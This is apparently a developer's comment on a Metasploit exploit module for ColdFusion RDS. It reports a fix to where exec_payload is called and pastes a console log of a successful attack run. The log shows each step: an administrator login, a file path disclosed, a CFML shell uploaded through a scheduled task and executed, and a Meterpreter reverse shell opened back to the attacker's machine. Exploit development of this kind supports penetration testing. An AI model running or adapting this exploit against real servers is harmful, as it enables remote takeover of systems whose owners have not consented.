Yes, moving exec_payload at the end of exploit() works for me. I also deleted the other exec_payload call in on_request_uri:

```
msf exploit(coldfusion_rds) > rerun
[*] Reloading module...

[*] Started reverse handler on 10.0.1.76:4444 
[*] Building CFML shell...
[*] Using URL: http://0.0.0.0:8080/Z3nbCHYKTzcoIED
[*]  Local IP: http://10.0.1.76:8080/Z3nbCHYKTzcoIED
[*] Server started.
[*] 10.0.1.56:80 - Trying to upload payload via scheduled task...
[+] 10.0.1.56:80 - Logged in as Administrator!
[+] 10.0.1.56:80 - File path disclosed! C:\Inetpub\wwwroot\CFIDE
[*] 10.0.1.56:80 - Adding scheduled task
[*] 10.0.1.56:80 - Running scheduled task
[+] 10.0.1.56:80 - Scheduled task completed successfully
[*] 10.0.1.56:80 - Deleting scheduled task
[*] Our payload is at: 10.0.1.56:80\CFIDE\RYJRLYfbogFs.cfm
[*] Executing payload...
[*] Sending stage (769024 bytes) to 10.0.1.56
[*] Meterpreter session 5 opened (10.0.1.76:4444 -> 10.0.1.56:2866) at 2013-12-09 22:16:10 -0600
```